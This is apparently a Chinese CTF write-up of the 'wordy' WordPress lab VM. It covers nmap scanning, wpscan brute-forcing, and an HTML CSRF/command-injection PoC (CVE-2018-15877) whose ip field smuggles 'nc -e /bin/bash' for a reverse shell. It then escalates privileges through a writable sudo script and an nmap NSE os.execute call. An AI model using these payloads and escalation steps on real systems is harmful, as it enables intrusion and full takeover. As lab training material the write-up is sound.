信息搜集

nmap -sP 192.168.146.0/24 #找靶机ip

nmap -sS -Pn -A 192.168.146.143 #扫描靶机信息

22和80端口,老朋友了。

先直接访问http://192.168.146.143/,显示http://wordy/。

在C:\Windows\System32\drivers\etc下的HOSTS文件中增加192.168.146.143 wordy

又是wp,直接上wpscan扫描。

wpscan --url http://wordy/ -e u #爆破用户名

爆破出5个用户名admin,jens,graham,sarah,mark

再爆破密码,直接用kali自带的/usr/share/wordlists/rockyou.txt(估计要跑几天)

然后逛逛官网看到了提示

直接冲

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt #提取字典中有k01的数据
wpscan --url http://wordy/ -U admin,jens,graham,sarah,mark -P passwords.txt
#Username: mark, Password: helpdesk01

getFlag

用获得的账号在http://wordy/wp-login.php登陆

浏览下,发现一个可疑的功能Activity monitor,直接searchsploit搜索下。

看到一个很符合的,再看看他的html文件。

<html>
<!-- Wordpress Plainview Activity Monitor RCE
[+] Version: 20161228 and possibly prior
[+] Description: Combine OS Commanding and CSRF to get reverse shell
[+] Author: LydA(c)ric LEFEBVRE
[+] CVE-ID: CVE-2018-15877
[+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell
[+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well
-->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
<input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" />
<input type="hidden" name="lookup" value="Lookup" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

看来是一个命令执行了,直接提取到poc.html文件,改下action和执行的命令就可以用了。

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
<input type="hidden" name="ip" value="google.fr | nc 192.168.146.143 -e /bin/bash" />
<input type="hidden" name="lookup" value="Lookup" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

攻击机 nc -lvvp 4444 成功getshell

python -c 'import pty; pty.spawn("/bin/bash") #使用交互式命令行'

接下来同样思路,先去看看/home下的几个用户。

在mark目录下发现工作日志,里面也有gramham的密码。

su graham #直接切换用户,密码GSo7isUM1D4

然后再浏览下其他三个用户的东西,没发现什么。

这时候考虑提权看看 sudo -l,发现可以免密执行jens的命令 /home/jens/backups.sh

这里的backups我们是可以写的。

那么执行这个脚本的时候会以jens用户来执行,方法:sudo -u jens /home/jens/backups.sh

我们让jens执行/bin/bash不就直接得到了jens的shell了吗?

echo "/bin/bash" > backups.sh   #写入文件
sudo -u jens /home/jens/backups.sh

sudo -l #在看看有什么sudo权限

emmm.....可以以root身份运行nmap,nmap能干的事很多来着。。。搜索一下。

主要有两种方法:使用--interactive选项,或者写一个nse脚本

参考p牛的文章:https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

这里的nmap比较新没有--interactive选项了,所以从nse脚本入手

echo 'os.execute("/bin/sh")' > A1oe.nse  #写脚本
sudo /usr/bin/nmap --script=/home/jens/A1oe.nse #使用nmap

拿到flag

总结

本次靶机也并不难,主要自己走了一遍nmap提权。

主要有两个方法:--interactive选项还有nse脚本。

最新文章

  1. 调度系统任务创建---创建一个JoinTrigger的依赖任务(五)
  2. CentOS7配置双网卡绑定
  3. Spring中RedirectAttributes对象重定向传参
  4. [每日一题] 11gOCP 1z0-052 :2013-09-19 创建用户...................................................B41
  5. Broadcast详解
  6. ubuntu 16.04环境配置
  7. WCF消息交换模式之双工通讯(Duplex)
  8. C++彩色数据流动界面
  9. 什么是TNB?如何买TNB?
  10. 卷积神经网络之VGG
  11. MySql中插入乱码问题解决
  12. 浅谈User Information List
  13. 【漏洞预警】Intel爆CPU设计问题,导致win和Linux内核重设计(附测试poc)
  14. 【Linux】数组与关联数组
  15. 第四章 Spring.Net 如何管理您的类___对象的作用域
  16. JS四种方法去除字符串最后的逗号
  17. MySql指令大全(转载)
  18. 深入理解Javascript中构造函数和原型对象的区别(转存)
  19. Vue教程:指令与事件(二)
  20. initerrlog: 无法打开错误日志文件 &#39;D:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log 解决办法

热门文章

  1. JDk下载和环境变量Path的配置
  2. ASP.NET Core ActionFilter引发的一个EF异常
  3. 4000字干货长文!从校招和社招的角度说说如何准备Java后端大厂面试?
  4. js Vquery
  5. textareaCenter 未完结 其实就是iview的textarea的从写一遍 需求是光标上下居中
  6. 覆盖io.spring.platform管理的版本号
  7. 解开Service Mesh的神秘面纱
  8. C/C++、C#、JAVA(二):基本类型和转换操作
  9. spring最核心思想--ioc控制反转
  10. Python中保留两位小数的几种方法